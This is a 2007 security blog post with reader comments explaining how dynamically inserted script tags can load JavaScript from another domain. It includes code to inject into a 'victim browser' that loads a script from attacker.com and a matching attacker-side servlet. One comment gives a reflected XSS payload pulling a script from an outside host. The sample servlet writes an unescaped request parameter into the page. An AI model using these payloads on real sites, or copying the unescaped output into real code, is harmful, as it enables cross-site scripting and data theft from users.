Wednesday, January 10, 2007

Breaking the Same Origin barrier of Javascript

NOTE: I dont want javascript to be executed so in the sample code below, you will see that i will remove the <> tags from the script element.

Same Origin Policy of browsers

Often times we have heard that Javascript cannot send requests to another domain. That is because of the same origin policy implemented in the browsers. The same origin policy of the browsers prevents document or script loading from a different domain to manipulate the document loaded from current domain, without which javascript from a malicious domain could do any number of adverse things such as log keystrokes, steal cookies, modify your data, or even insert unwanted transactions while you do your online banking, etc. Hence, most of the current browsers implement the same origin policy on nearly every properties and methods available to javascript. The only exception to the same origin policy is if you are working with documents loaded from any of the subdomains of the current domain. By setting the domain property of the document, scripts residing on subdomain are allowed access to the scripts on the main domain. For example, the script from test.domain.com could set the domain property to “domain.com”. This way the script passes the origin checks when accessing windows loaded from “domain.com”. However, the scripts from “test.domain.com” could not set the domain property to “anotherdomain.com”.

When a script tries to access properties or methods in a different window – for example, using the handle returned by window.open() – the browser performs a same origin check on the URLs of the document in question. If the URLs of the document pass this check, the property can be accessed, and if they don’t then an error is thrown. The same origin check consists of verifying that the URL of the document in the target window has the same origin as the document containing the calling script.

External Javascript from Java Servlets

One of the lesser known sides of external JavaScript is the ability to reference a server side program(CGI, PHP or Servlets) instead of the familiar .js file. It is kinda interesting since a client side script interacting with a server side program is not considered safe and is usually not allowed from within the browser but apparently a script can be dynamically generated and loaded, if referenced in src attribute of the script tag, while the html page is being loaded. Using the src attribute of the script tag, we can call an external javascript, we can also call a server side program to dynamically generate a javascript. For example

script type="text/javascript" src="myservlet"

Where "myservlet" is the server side program and could be an absolute path like “http://www.myserver.com/myservlet” or a relative path like “myservlet” instead of the usual .js file. Interestingly you can even pass parameters to the servlet through the URL string. For example

script type="text/javascript" src="http://attacker.com/myservlet?name=myname"

Now the servlet can be invoked and process parameters and return the result back. There is a limitation however. It can only return Javascript code. You also have to set the content type as “application/x-javascript”. Just think of it as returning javascript code instead of html code. But there is a workaround to this limitation. Just like while returning html, if you had Javascript code, you would encapsulate in script tag, here, if you have to return html code, you can always return document .body .innerHTML = ‘html code’ or document .write(‘html code’). So your typical servlet would look like


public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String name = request.getParameter(“name”);
out.println(“document.body.innerHTML = ‘Welcome “ + name + “’;”);
out.close();
}
}


A JavaScript header is sent at the very beginning to inform the browser that it is receiving a JavaScript file. The final output of the servlet needs to be a valid Javascript file and must conform to Javascript syntax, servlet outputs a valid javascript code which replaces the content of the html page and displays “Welcome anurag”.
The other limitation, however, is that it cannot have an interactive session with the server side program. While loading the page, when the browser comes across the script tag, it goes to the URL mentioned in the src attribute and validates the incoming data as a valid javascript and executes it. The script tag is only executed once and after the entire page is loaded, it cannot call the server side program again.

Breaking the same origin barrier using external Javascript

As we discussed above, once the entire html page is loaded and all the Javascript files are executed, there can be no interaction with the server anymore since all the script tags are executed by the browser. But wait a minute, what about DHTML? We can dynamically create a script element and set a server side program in the src attribute and VIOLA, we have just breached the same domain barrier. Let’s take a look at the code.

Code sample
Append the following Javascript code at the victim browser

function loadscript()
{
var attack_script = document.createElement('script');
attack_script.id = 'myscript';
attack_script.src = 'http://attacker.com/myservlet'; //Replace this url with your servlet/cgi/php url.
attack_script.type = 'text/javascript';
document.body.appendChild(attack_script);
}

Create the servlet at the attacker server

public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String ip = request.getRemoteAddr();
out.println("document.body.innerHTML='Your IP address is : " + ip + "';");
out.close();
}
}

Demo

You can view the demo here (http://www.attacklabs.com)

Download Code

You can download the sample code here (http://www.attacklabs.com)

References:-

Firefox same origin policy
http://www.mozilla.org/projects/security/components/same-origin.html

Same Origin Policy - Wikipedia
http://en.wikipedia.org/wiki/Same_origin_policy

4 comments:

maluc said...

Umm, i'm probably misunderstanding your post.. but external javascript can always be included.. it's a normal feature. And it's the basis of XSS.

Using a servlet or PHP to return javascript is the basis of JSON applications. Furthermore, the application/x-javascript is superfluous (although probably a good habit) as anything inside a <script> tag gets processed as javascript unless the type attribute explicitly says otherwise.

so.. i'm not sure what you believe you are breaking as this could always be done. It's probably the second most common method for banner ads after iframes. And again, the entire basis of cross-site scripting. example:

http://vulnerable.com/index.php?page="><script src="http://ha.ckers.org/s.js"></script>

You can see it accesses the DOM just fine, but maybe i'm misunderstanding your idea.

Anurag Agarwal said...

hi maluc

you are right but what i am trying to explain here is that if a website is vulnerable to xss then using this feature an attacker can actually control a user browser from a remote location

Mahmudul Hasan said...

What is your point ? We can always load javascript from external site. There was no barrier.

Anonymous said...

Great article. Excellent explanation.

Maluc/Mahmudul, the difference between loading a static external js and loading through a servlet/cgi is that with latter, the injected javascript can collect sensitive data from the user browser and send to the remote site!